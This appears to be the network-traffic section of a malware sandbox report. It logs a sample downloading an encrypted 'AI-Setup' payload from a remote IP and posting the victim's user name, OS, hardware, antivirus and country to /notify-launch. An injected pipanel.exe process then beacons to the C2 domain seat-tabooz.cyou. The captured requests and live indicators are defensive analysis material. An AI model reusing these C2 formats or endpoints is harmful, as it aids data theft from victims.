Nov 24, 2024 12:12:27.637706041 CET	1.1.1.1	192.168.2.4	0x15a4	No error (0)	seat-tabooz.cyou	172.67.178.191	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:12:27.637706041 CET	1.1.1.1	192.168.2.4	0x15a4	No error (0)	seat-tabooz.cyou	104.21.75.165	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	194.15.46.236	8397	6556	C:\Users\user\Desktop\mDHwap5GlV.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:10:04.523289919 CET	61	OUT	GET /software/AI-Setup HTTP/1.1 Host: 194.15.46.236:8397
Nov 24, 2024 12:10:05.973143101 CET	1236	IN	HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 10488428 ETag: W/"a00a6c-0Bto7KT8XLPUyDvhMM3UYH9AQBs" Date: Sun, 24 Nov 2024 11:10:05 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 7b 22 6b 65 79 22 3a 22 32 36 36 65 32 31 30 63 63 63 36 36 65 34 63 35 33 64 35 38 33 61 63 39 30 65 65 38 38 63 66 66 38 31 35 38 35 35 34 30 34 30 30 36 62 63 63 62 35 66 65 38 35 34 36 39 64 37 37 63 65 30 31 31 22 2c 22 66 69 6c 65 22 3a 22 4e 70 41 57 6c 38 6e 76 45 54 65 4d 41 38 6e 63 70 75 31 57 67 56 35 57 4d 2b 57 79 79 56 44 50 4c 6d 32 66 6e 34 33 65 53 73 76 37 48 35 46 36 72 43 4d 48 56 59 57 65 52 63 55 4a 66 66 35 53 4e 38 32 30 62 5a 5a 45 58 36 36 6a 47 7a 47 47 53 65 35 34 75 5a 7a 2f 36 56 69 43 4b 30 63 78 56 79 50 33 62 79 34 48 2f 76 30 46 6a 47 78 51 4b 51 67 49 69 46 53 46 53 69 68 78 69 41 79 51 57 51 36 59 4d 55 65 58 51 6f 38 6c 36 44 38 68 65 48 58 4b 50 61 64 75 43 4a 43 69 58 59 53 57 4a 54 6c 4f 53 51 61 70 38 35 5a 7a 6c 59 6e 6a 41 72 66 71 32 35 71 6a 33 51 4b 6e 79 76 37 51 61 31 59 77 63 51 75 31 59 70 73 6b 55 79 31 33 6d 55 66 74 66 33 30 59 64 5a 6c 45 6e 36 6a 4d 4b 58 47 34 67 76 31 4e 77 2f 55 47 30 39 77 72 4a 55 6b 6c 77 53 6d 2b 62 59 46 33 6b 6c 59 2f [TRUNCATED] Data Ascii: {"key":"266e210ccc66e4c53d583ac90ee88cff815855404006bccb5fe85469d77ce011","file":"NpAWl8nvETeMA8ncpu1WgV5WM+WyyVDPLm2fn43eSsv7H5F6rCMHVYWeRcUJff5SN820bZZEX66jGzGGSe54uZz/6ViCK0cxVyP3by4H/v0FjGxQKQgIiFSFSihxiAyQWQ6YMUeXQo8l6D8heHXKPaduCJCiXYSWJTlOSQap85ZzlYnjArfq25qj3QKnyv7Qa1YwcQu1YpskUy13mUftf30YdZlEn6jMKXG4gv1Nw/UG09wrJUklwSm+bYF3klY/FAmxyoWTgvkbNphg+YEhNwqF5htvWj8lJA3qL3njq0gJeogY18Hav9M3UpdinbFYfEJixmIeXKNJmtBQHLOt4fP0Q6lcvnvix8b/xtaDXDlOQOG9gmKGZNlpr9zE/VGCkEIy6dKf9ZqWMVEPLvl4XzS0p/eWy5S9Z/ICrmFs7e+8RHEXvGCOCJ1tt9XM1vPfyDrmhufaGIlngY/y764irDrHNoqjC9fIr3xMQpGbbU7sxuj8VSyyx8ydrPwi33E/a/uY/8SQ4XvDnRR54zLtVnTdTLvp2EAZdMjsueow13PKk9skkEnEh9G7X6RKRfPLegUmVUAf4mhf3uqKmCzBzkaI5y7ZDsfNYSM32EuaFR2pD502Ib/5INS0PMaTj+ZQwRnjD/sykviNedbTu5bAFMYmNwJRZ676pZUIkYd4NmuVMhgO6uRZpEPIjaR+V/DrzwAgtZvjHWEqZFLZRd9J/hgxPUU74MBza5d6Www9yaxl8GXWuWVHXCmre3GeAhcNIODrQh1Q3KVD7l5Gm1swd7VtVC02vmtSZhYgngtfyXz2FpBjAV52auD7klmFaDbXbS2XYv5/siLK8B9omRnejfqECRX/70PcWgPUjavPQxU+ajz4D6blDDvGYycIjIPJcpvier1zofOSg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49805	194.15.46.236	8397	6556	C:\Users\user\Desktop\mDHwap5GlV.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:11:32.214046955 CET	394	OUT	POST /notify-launch HTTP/1.1 Host: 194.15.46.236:8397 Content-Type: application/json; charset=utf-8 Content-Length: 268 Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 22 75 73 65 72 4e 61 6d 65 22 3a 22 6a 6f 6e 65 73 22 2c 22 73 79 73 74 65 6d 22 3a 22 57 69 6e 33 32 4e 54 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 2e 31 39 30 34 35 2e 30 22 2c 22 6c 61 75 6e 63 68 43 6f 64 65 22 3a 22 41 49 2d 53 65 74 75 70 22 2c 22 73 6f 66 74 77 61 72 65 53 74 61 74 75 73 22 3a 22 54 72 75 65 22 2c 22 70 72 6f 63 65 73 73 6f 72 22 3a 22 49 6e 74 65 6c 36 34 20 46 61 6d 69 6c 79 20 36 20 4d 6f 64 65 6c 20 31 34 33 20 53 74 65 70 70 69 6e 67 20 38 2c 20 47 65 6e 75 69 6e 65 49 6e 74 65 6c 22 2c 22 67 70 75 22 3a 22 53 41 4b 32 50 58 22 2c 22 61 6e 74 69 76 69 72 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 20 41 6e 74 69 76 69 72 75 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 7d Data Ascii: {"ip":"8.46.123.75","userName":"user","system":"Win32NT Microsoft Windows NT 10.0.19045.0","launchCode":"AI-Setup","softwareStatus":"True","processor":"Intel64 Family 6 Model 143 Stepping 8, GenuineIntel","gpu":"SAK2PX","antivirus":"Unknown Antivirus","country":"US"}
Nov 24, 2024 12:11:33.512743950 CET	229	IN	HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 2 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Date: Sun, 24 Nov 2024 11:11:33 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	172.67.74.152	443	6556	C:\Users\user\Desktop\mDHwap5GlV.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:10:26 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2024-11-24 11:10:26 UTC	399	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:10:26 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e78f3d6dc2142dc-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=677&delivery_rate=1682027&cwnd=250&unsent_bytes=0&cid=6de851a85d31caaf&ts=473&x=0"
2024-11-24 11:10:26 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	34.117.59.81	443	6556	C:\Users\user\Desktop\mDHwap5GlV.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:10:27 UTC	51	OUT	GET /8.46.123.75/json HTTP/1.1 Host: ipinfo.io
2024-11-24 11:10:28 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 319 content-type: application/json; charset=utf-8 date: Sun, 24 Nov 2024 11:10:28 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-24 11:10:28 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49799	172.67.74.152	443	6556	C:\Users\user\Desktop\mDHwap5GlV.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:11:31 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2024-11-24 11:11:31 UTC	399	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:11:31 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e78f56ed8dc8c0f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2007&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=677&delivery_rate=1429270&cwnd=213&unsent_bytes=0&cid=b37ba0a603c33d76&ts=529&x=0"
2024-11-24 11:11:31 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49924	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: seat-tabooz.cyou
2024-11-24 11:12:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 11:12:29 UTC	1005	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lo7nnqbha9e5r43ugc1spn344t; expires=Thu, 20-Mar-2025 04:59:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6cqWahgi4z46pNNHQwFCRrqlbqOG9a4fhteIuhx1qJ3F031qulbhW4397BrNdJ7bs8RCGXRwIl9lI3fHLzI11AEMkuLv%2BzuQOsjZtYovPnxeL4UOn5AHOr8VlA%2BKoEa4BOFx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f6d6db977cf6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1389814&cwnd=205&unsent_bytes=0&cid=bc0bcece1a2dd11c&ts=724&x=0"
2024-11-24 11:12:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 11:12:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49930	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:31 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: seat-tabooz.cyou
2024-11-24 11:12:31 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 52 4f 6d 67 4f 4f 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=ROmgOO--&j=
2024-11-24 11:12:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8n62av8v8eobqs7a8hmbf225mg; expires=Thu, 20-Mar-2025 04:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aikcZQYAduCmUrGqlNOcrDNiw%2BpSIZrKMcBR6T5gJQx34Bd%2BGNnx1Epd9D0GA1e%2BO8D5g%2FmvNyBu%2F%2Fee2mVK2bFrwbFQh%2FSFAbwudrdj8nxlERdQ1Kx1susqqwIs%2FUM9iRn%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f6e42d738c09-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=942&delivery_rate=1514522&cwnd=240&unsent_bytes=0&cid=6c79f7149cd094a4&ts=719&x=0"
2024-11-24 11:12:31 UTC	350	IN	Data Raw: 34 64 39 0d 0a 72 50 52 71 6a 4d 49 69 4b 52 71 7a 4b 5a 78 50 46 48 63 58 44 62 51 6a 39 32 70 72 63 78 6e 45 5a 43 46 76 62 39 55 35 33 38 37 58 31 68 79 75 2b 42 59 46 4f 4d 42 4d 76 6e 56 67 42 57 4a 6f 6d 41 47 57 44 6b 6c 4a 66 36 55 49 55 67 70 44 39 30 2b 79 37 4a 61 53 43 2b 43 78 52 77 55 34 31 6c 47 2b 64 55 38 4d 4e 57 6a 61 41 63 31 49 44 68 6c 37 70 51 68 44 44 67 53 36 53 62 4f 74 78 4a 67 4e 35 4b 64 42 54 58 76 66 52 50 6b 71 63 52 5a 39 59 39 31 4f 6e 77 64 4a 58 7a 75 68 48 67 4e 56 54 5a 68 63 71 36 2f 68 6c 52 6e 6e 34 46 38 46 59 5a 46 4d 38 6d 30 75 56 58 5a 6f 31 6b 2b 52 44 67 41 62 63 61 77 41 51 67 73 46 70 56 43 35 70 73 53 57 44 75 57 74 53 46 6c 32 31 55 50 79 4c 48 73 57 4e 53 47 57 52 6f 31 49 55 56 45 6f 6c 41 56 53 48 42 Data Ascii: 4d9rPRqjMIiKRqzKZxPFHcXDbQj92prcxnEZCFvb9U5387X1hyu+BYFOMBMvnVgBWJomAGWDklJf6UIUgpD90+y7JaSC+CxRwU41lG+dU8MNWjaAc1IDhl7pQhDDgS6SbOtxJgN5KdBTXvfRPkqcRZ9Y91OnwdJXzuhHgNVTZhcq6/hlRnn4F8FYZFM8m0uVXZo1k+RDgAbcawAQgsFpVC5psSWDuWtSFl21UPyLHsWNSGWRo1IUVEolAVSHB
2024-11-24 11:12:31 UTC	898	IN	Data Raw: 75 43 68 54 55 74 71 32 55 44 31 4b 47 51 65 66 47 4c 62 51 5a 67 43 42 68 4a 37 6f 51 78 4a 41 67 65 7a 56 72 43 71 7a 70 5a 49 6f 4f 42 48 55 7a 69 4a 43 39 30 6f 5a 68 4a 35 65 5a 52 37 31 52 64 48 43 44 75 68 43 67 4e 56 54 62 39 65 76 71 2f 46 6d 51 76 6d 71 31 4a 4c 61 74 64 47 2b 7a 39 77 45 48 74 6c 31 56 4f 66 42 67 38 53 63 71 30 50 52 67 6f 4a 39 78 58 39 71 39 62 57 55 4b 36 42 54 55 42 30 32 31 7a 2b 62 57 6c 62 62 43 2f 52 54 64 56 51 53 52 56 36 6f 67 64 48 41 77 4f 7a 56 37 75 69 77 35 6b 4f 35 4b 42 48 51 58 44 5a 53 76 4d 6d 65 52 56 77 59 74 4a 48 6d 51 6b 4d 55 54 58 6d 41 56 74 4e 56 66 64 31 75 71 2f 63 31 44 33 74 72 6b 35 4d 62 70 46 55 73 44 51 32 45 6e 6b 76 6a 67 47 62 44 51 59 44 65 72 51 44 54 52 38 42 73 6c 32 77 72 38 43 57 Data Ascii: uChTUtq2UD1KGQefGLbQZgCBhJ7oQxJAgezVrCqzpZIoOBHUziJC90oZhJ5eZR71RdHCDuhCgNVTb9evq/FmQvmq1JLatdG+z9wEHtl1VOfBg8Scq0PRgoJ9xX9q9bWUK6BTUB021z+bWlbbC/RTdVQSRV6ogdHAwOzV7uiw5kO5KBHQXDZSvMmeRVwYtJHmQkMUTXmAVtNVfd1uq/c1D3trk5MbpFUsDQ2EnkvjgGbDQYDerQDTR8Bsl2wr8CW
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 33 66 39 33 0d 0a 2b 71 6b 54 55 52 78 32 45 4c 73 4a 33 6f 62 5a 32 4c 63 52 4a 73 45 44 42 35 37 70 77 64 4e 42 77 62 33 46 66 32 72 31 74 5a 51 72 6f 39 4e 57 32 72 62 51 4f 39 76 51 78 5a 37 59 64 46 58 31 52 64 48 43 44 75 68 43 67 4e 56 54 62 78 64 73 61 44 4f 6b 42 72 67 72 31 4a 42 61 74 56 46 2b 69 46 34 48 48 68 67 30 31 4f 52 43 42 73 51 66 71 45 49 54 68 38 49 39 78 58 39 71 39 62 57 55 4b 36 61 64 45 78 6f 77 45 79 38 47 48 55 62 65 32 6a 41 41 59 70 47 45 46 46 38 71 6b 59 62 54 51 36 37 56 72 53 70 77 59 51 43 34 71 46 53 54 48 48 59 51 66 38 6a 65 52 35 35 61 73 52 4b 6d 67 41 47 45 48 61 72 44 55 63 4e 54 66 6b 62 75 72 53 4f 7a 6b 6a 50 72 55 39 5a 65 38 41 4a 79 79 35 34 47 33 4a 35 6c 6c 37 62 45 55 6b 57 64 2b 5a 65 41 77 77 42 75 31 Data Ascii: 3f93+qkTURx2ELsJ3obZ2LcRJsEDB57pwdNBwb3Ff2r1tZQro9NW2rbQO9vQxZ7YdFX1RdHCDuhCgNVTbxdsaDOkBrgr1JBatVF+iF4HHhg01ORCBsQfqEITh8I9xX9q9bWUK6adExowEy8GHUbe2jAAYpGEFF8qkYbTQ67VrSpwYQC4qFSTHHYQf8jeR55asRKmgAGEHarDUcNTfkburSOzkjPrU9Ze8AJyy54G3J5ll7bEUkWd+ZeAwwBu1
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 6e 51 2f 6c 71 30 52 50 65 4e 78 41 38 43 4e 2f 47 58 31 6a 30 56 4f 59 44 51 45 62 63 71 4d 4b 54 67 34 66 74 46 72 39 34 6f 36 52 45 4b 37 34 41 47 78 4c 35 6d 69 2b 4d 6a 67 4d 4e 57 6a 61 41 63 31 49 43 42 6c 38 71 41 4a 52 41 78 2b 35 58 4c 32 71 78 70 34 50 34 71 35 4f 57 58 44 51 53 2f 41 69 66 68 78 78 62 74 4a 46 6d 51 39 4a 58 7a 75 68 48 67 4e 56 54 5a 39 59 70 37 61 4d 75 41 50 75 70 31 42 64 59 35 46 55 73 44 51 32 45 6e 6b 76 6a 67 47 52 41 77 4d 59 65 4b 38 43 54 67 30 45 75 46 4b 31 6f 63 61 45 43 65 53 79 52 45 35 35 33 6b 48 36 4a 58 6f 61 65 57 76 45 53 74 56 47 53 52 5a 6a 35 6c 34 44 4c 51 61 68 65 4b 2b 2b 6a 6f 6c 47 39 2b 42 48 52 7a 69 4a 43 2f 63 68 64 78 52 2f 61 64 31 45 6d 41 67 4d 47 33 79 71 42 6b 4d 4f 43 37 46 57 74 61 54 Data Ascii: nQ/lq0RPeNxA8CN/GX1j0VOYDQEbcqMKTg4ftFr94o6REK74AGxL5mi+MjgMNWjaAc1ICBl8qAJRAx+5XL2qxp4P4q5OWXDQS/AifhxxbtJFmQ9JXzuhHgNVTZ9Yp7aMuAPup1BdY5FUsDQ2EnkvjgGRAwMYeK8CTg0EuFK1ocaECeSyRE553kH6JXoaeWvEStVGSRZj5l4DLQaheK++jolG9+BHRziJC/chdxR/ad1EmAgMG3yqBkMOC7FWtaT
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 71 39 46 51 33 50 58 52 66 38 72 65 68 67 31 49 5a 5a 47 6a 55 68 52 55 56 79 38 43 30 55 61 48 49 4a 63 76 66 32 4f 69 55 62 33 34 45 64 48 4f 49 6b 4c 38 79 46 38 47 48 42 72 33 6b 61 57 43 51 55 56 64 71 73 43 53 67 6b 49 70 55 6d 37 6f 73 36 5a 42 75 47 73 55 6b 56 39 30 55 65 2b 59 7a 59 53 62 53 2b 4f 41 61 51 66 43 56 46 6b 36 42 38 44 43 67 48 33 41 2f 32 6a 77 34 51 45 34 61 42 42 53 48 7a 61 54 50 67 72 64 78 5a 77 62 4e 4e 48 6c 41 67 46 47 33 79 75 44 45 30 41 43 37 4e 64 75 2b 79 41 31 67 2f 32 34 42 67 4c 53 74 78 46 39 79 35 77 47 47 4e 48 35 77 47 4b 52 68 42 52 66 4b 70 47 47 30 30 4a 76 46 4f 78 71 63 61 54 43 65 61 71 53 45 52 33 77 30 72 78 4a 48 45 65 65 47 44 59 52 4a 73 61 44 68 70 77 72 67 39 4e 43 30 33 35 47 37 71 30 6a 73 35 49 Data Ascii: q9FQ3PXRf8rehg1IZZGjUhRUVy8C0UaHIJcvf2OiUb34EdHOIkL8yF8GHBr3kaWCQUVdqsCSgkIpUm7os6ZBuGsUkV90Ue+YzYSbS+OAaQfCVFk6B8DCgH3A/2jw4QE4aBBSHzaTPgrdxZwbNNHlAgFG3yuDE0AC7Ndu+yA1g/24BgLStxF9y5wGGNH5wGKRhBRfKpGG00JvFOxqcaTCeaqSER3w0rxJHEeeGDYRJsaDhpwrg9NC035G7q0js5I
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 4e 2f 32 55 2f 77 50 33 63 61 4e 53 47 57 52 6f 31 49 55 56 46 4b 73 41 46 45 41 6b 2b 65 58 4b 61 74 78 4a 55 44 34 75 42 66 42 57 47 52 54 50 4a 74 4c 6c 56 34 59 39 74 46 68 77 51 4a 45 58 4b 68 44 46 45 43 41 72 70 59 76 61 6e 63 6c 78 72 68 71 30 56 49 66 4e 35 45 38 69 56 38 56 54 73 76 30 56 6e 56 55 45 6b 39 65 4c 63 4d 41 53 6f 58 6f 56 79 78 76 63 57 62 42 4b 36 2f 44 6c 49 34 31 6b 65 2b 64 54 59 56 64 47 4c 45 52 4a 51 43 41 78 78 7a 71 51 4e 47 41 67 6d 7a 55 4c 4f 2b 77 4a 6b 49 36 4b 74 42 54 6e 76 61 51 66 41 6b 5a 46 55 37 4c 39 46 5a 31 56 42 4a 4f 32 43 6e 43 30 39 50 49 37 78 4e 75 75 37 76 6d 41 50 70 72 46 59 4c 5a 35 39 53 76 69 70 36 56 53 30 76 33 30 2b 5a 43 77 34 5a 63 36 4d 47 53 41 30 43 76 56 57 36 76 73 53 61 41 76 79 76 51 Data Ascii: N/2U/wP3caNSGWRo1IUVFKsAFEAk+eXKatxJUD4uBfBWGRTPJtLlV4Y9tFhwQJEXKhDFECArpYvanclxrhq0VIfN5E8iV8VTsv0VnVUEk9eLcMASoXoVyxvcWbBK6/DlI41ke+dTYVdGLERJQCAxxzqQNGAgmzULO+wJkI6KtBTnvaQfAkZFU7L9FZ1VBJO2CnC09PI7xNuu7vmAPprFYLZ59Svip6VS0v30+ZCw4Zc6MGSA0CvVW6vsSaAvyvQ
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 55 73 44 51 32 45 6e 6b 76 6a 67 47 56 44 41 55 53 66 4b 67 4a 54 67 49 4b 76 46 53 33 6f 74 79 5a 44 65 61 73 53 45 5a 71 32 30 48 73 4a 48 38 59 65 32 66 45 51 74 56 47 53 52 5a 6a 35 6c 34 44 50 77 65 30 56 36 75 68 77 64 59 58 6f 4c 6b 41 54 48 53 52 45 37 34 2f 5a 42 56 2b 62 39 46 50 68 77 6b 42 48 6e 47 6d 41 45 67 48 44 72 35 66 73 36 58 49 6c 77 58 76 6f 55 42 4f 65 4e 68 5a 38 32 30 34 56 58 4a 33 6c 68 6e 56 50 77 55 61 53 71 55 51 41 78 4a 44 72 68 75 36 6f 49 37 4f 53 4f 2b 79 54 55 4e 38 30 55 62 34 4a 6e 63 55 64 6d 2f 57 51 70 55 4e 41 68 35 39 6f 51 74 4a 42 41 53 6c 55 37 6d 2b 7a 70 6f 4d 72 75 34 41 54 47 43 52 45 37 34 64 64 52 35 35 62 39 74 55 31 52 64 48 43 44 75 68 43 67 4e 56 54 62 39 51 74 71 72 46 6c 51 76 67 71 30 70 45 64 39 Data Ascii: UsDQ2EnkvjgGVDAUSfKgJTgIKvFS3otyZDeasSEZq20HsJH8Ye2fEQtVGSRZj5l4DPwe0V6uhwdYXoLkATHSRE74/ZBV+b9FPhwkBHnGmAEgHDr5fs6XIlwXvoUBOeNhZ8204VXJ3lhnVPwUaSqUQAxJDrhu6oI7OSO+yTUN80Ub4JncUdm/WQpUNAh59oQtJBASlU7m+zpoMru4ATGCRE74ddR55b9tU1RdHCDuhCgNVTb9QtqrFlQvgq0pEd9
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 59 42 52 34 5a 4e 6f 44 6c 41 55 5a 46 6a 76 6f 52 6b 56 4e 56 65 63 56 2f 61 6a 66 31 6c 43 2b 38 68 73 65 4b 34 59 62 72 44 49 34 44 44 56 35 6c 68 6e 48 52 6b 6b 44 4f 2f 35 47 42 41 34 66 70 56 32 2b 75 73 33 52 4e 74 43 41 53 30 64 37 33 55 72 35 62 54 68 56 65 69 2b 4f 65 4e 55 4c 47 77 4d 30 74 78 42 4f 48 51 72 37 55 36 79 68 77 74 5a 47 72 75 78 45 51 48 54 55 54 4f 35 69 5a 41 56 2b 59 38 41 4e 6b 52 70 4a 58 7a 75 33 44 55 77 66 41 37 41 55 72 4c 72 44 68 67 76 72 70 77 78 44 61 64 78 48 76 6d 4d 32 41 48 35 6a 30 45 79 41 52 78 67 48 65 4c 41 42 44 77 55 63 75 6c 66 39 6b 34 44 57 45 4b 37 34 41 48 35 37 33 30 58 35 4f 32 64 59 56 57 54 61 51 70 6b 4a 44 6c 45 31 35 67 41 44 56 56 37 35 47 37 6d 39 6a 73 35 59 76 50 73 56 47 43 2b 42 47 65 46 Data Ascii: YBR4ZNoDlAUZFjvoRkVNVecV/ajf1lC+8hseK4YbrDI4DDV5lhnHRkkDO/5GBA4fpV2+us3RNtCAS0d73Ur5bThVei+OeNULGwM0txBOHQr7U6yhwtZGruxEQHTUTO5iZAV+Y8ANkRpJXzu3DUwfA7AUrLrDhgvrpwxDadxHvmM2AH5j0EyARxgHeLABDwUculf9k4DWEK74AH5730X5O2dYVWTaQpkJDlE15gADVV75G7m9js5YvPsVGC+BGeF
2024-11-24 11:12:31 UTC	1369	IN	Data Raw: 58 6d 57 47 63 5a 47 53 51 4d 37 2f 6b 59 45 41 77 43 32 57 4c 4f 76 33 49 51 4f 37 62 5a 44 44 45 62 76 62 76 4d 67 63 78 74 79 55 65 68 67 6e 78 67 45 48 6e 79 59 4f 48 51 63 43 71 63 5a 6d 36 2f 59 6c 55 69 67 34 46 67 4c 49 4a 46 71 39 44 31 37 47 6e 49 76 6d 41 47 52 53 46 46 52 58 71 73 4c 52 67 4d 4b 39 58 71 33 76 4d 4f 5a 44 36 37 75 41 45 63 34 69 51 76 2f 4a 32 59 59 65 6d 69 61 52 6f 38 50 53 56 38 37 71 45 59 62 54 51 79 39 53 37 43 6a 79 64 6f 4f 34 4b 34 41 56 44 62 49 43 2b 68 74 4c 6b 59 37 4c 38 51 42 7a 55 68 4f 48 33 61 6e 42 55 30 4f 48 36 56 64 76 72 72 4e 30 54 62 51 68 55 31 47 66 64 39 4d 77 42 4e 58 48 32 56 69 32 55 62 58 4b 41 34 48 65 4a 67 34 64 42 77 4b 70 78 6d 62 72 39 69 56 